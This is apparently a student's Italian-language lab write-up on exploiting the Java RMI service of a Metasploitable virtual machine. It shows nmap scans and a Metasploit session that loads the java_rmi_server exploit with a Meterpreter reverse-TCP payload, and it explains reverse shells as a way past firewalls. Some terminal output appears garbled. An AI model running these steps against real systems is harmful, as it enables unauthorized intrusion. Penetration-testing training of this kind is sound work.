

# Progetto S7 L5

Exploit vulnerabilità Java RMI su Metasploitable.

sudo -u Daniele Morabito

In questo esercizio andremo ad "exploitare" la nostra macchina Metasploitable tramite una vulnerabilità sulla porta 1099, che hosta il servizio Java RMI.

Un exploit è l'utilizzo o sfruttamento di una vulnerabilità già esistente, in un sistema operativo o una web app, a scopo malevolo. Spesso Malware ed Exploit vengono utilizzati come sinonimi, erroneamente. In realtà sono e funzionano in modo diverso. Un Exploit non ha bisogno dell'azione da parte dell'utente per entrare in azione o per installarsi e soprattutto, fa leva su una vulnerabilità già esistente (nota, o meno) all'interno di un sistema.

L'impatto che un exploit può avere, per esempio, su un'azienda, è devastante. Molto spesso l'exploit ci permette di prendere controllo sui dispositivi target, iniettare codice malevolo o causare un DoS o DDoS (Denial of Service, rallentare o addirittura mandare in crash interi sistemi o servizi saturandone le risorse).

Le "best practices" per contrastare un exploit possono essere:

- **Mantenere aggiornati i sistemi operativi ed i software utilizzati** (spesso gli sviluppatori applicano degli aggiornamenti al fine di ridurre o risolvere delle vulnerabilità note). Seppur questo riduca drasticamente il rischio di un exploit, bisogna menzionare gli exploit zero-day, ovvero delle vulnerabilità che vengono sfruttate prima che gli sviluppatori ne vengano a conoscenza.
- **Settare ed utilizzare un firewall valido**, questa è la base migliore per evitare accessi ed intrusioni non autorizzate.
- **Spiegare ed abituare i dipendenti ai rischi ed ai principali vettori di attacco**, come ad esempio phishing e smishing, l'importanza di utilizzare delle credenziali forti ed elaborate, magari utilizzando dei sistemi di autenticazione a due fattori.

Java RMI (Remote Method Invocation) invece è una API (Application Programming Interface, sono una serie di regole utilizzate per scambiare librerie, funzioni, tra diversi programmi senza creare conflitti) di Java. Permette ai programmi ed ai processi di Java di comunicare su dispositivi differenti, da remoto, come se fossero in locale.

Adesso, andiamo a sfruttare questa vulnerabilità. Iniziamo con una scansione di Nmap per evidenziare la vulnerabilità.

Come possiamo notare, la porta 1099 col servizio che stiamo cercando, è aperta.  
Questo significa che possiamo procedere con l'exploit.

```
File Actions Edit View Help
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 08:00:27:9F:CE:1A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds

(root@Kali)-[/home/dan]
# nmap -sV -p1099 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 09:47 CET
Nmap scan report for 192.168.11.112
Host is up (0.00017s latency).

PORT      STATE SERVICE VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:9F:CE:1A (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds

(root@Kali)-[/home/dan]
# nmap -A -T4 -p1099 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 09:48 CET
Nmap scan report for 192.168.11.112
Host is up (0.00013s latency).

PORT      STATE SERVICE VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:9F:CE:1A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.13 ms 192.168.11.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.98 seconds

(root@Kali)-[/home/dan]
#
```

Cerchiamo l'exploit corretto da utilizzare (la soluzione per capire quale sia il migliore, è spesso di testarli uno per uno).  
Settiamo correttamente i parametri richiesti nella colonna "Required" e siamo pronti all'exploit.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal  No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMICConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   /home/dan/      no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   /               no        The URI to use for this exploit (default is random)

Starting HTTP Server (HTTPServerThread) at 2023-11-16 09:56:51
[*] Accepting connections for 120 seconds

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port (could not bind at least 1 open and 1 closed port)

Device type: general purpose
Running on Linux 2.6.32

Exploit target: linux/linux_kernel/2.6
Device type: linux/2.6/3.2/2.6.32

Id  Name
--  -
0   Generic (Java Payload)

RDP RTO ADDRESS
0   RTO wa 192.168.11.112

View the full module info with the info, or info -d command. For results at https://www.org/subs17/

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) >
```

L'exploit è andato a buon fine, si è avviata una sessione di meterpreter, possiamo verificare di essere all'interno della macchina target utilizzando ifconfig e verificando l'indirizzo ip (192.168.11.112 è quello di Metasploitable).

Meterpreter è fondamentalmente una shell molto utile e potente che ci permette di "muoverci" all'interno della macchina target, una volta exploitata.

Esistono principalmente due modi per aprire una shell sulla macchina target;

- **Bind Shell**, nel quale la connessione avviene dalla macchina dell'attaccante alla macchina target.

- **Reverse Shell**, è quella che abbiamo appena utilizzato, la connessione avviene dalla macchina target a quella dell'attaccante. E' spesso la shell più utilizzata perché in questo modo permetterebbe di eludere eventuali sistemi di sicurezza come i firewall.

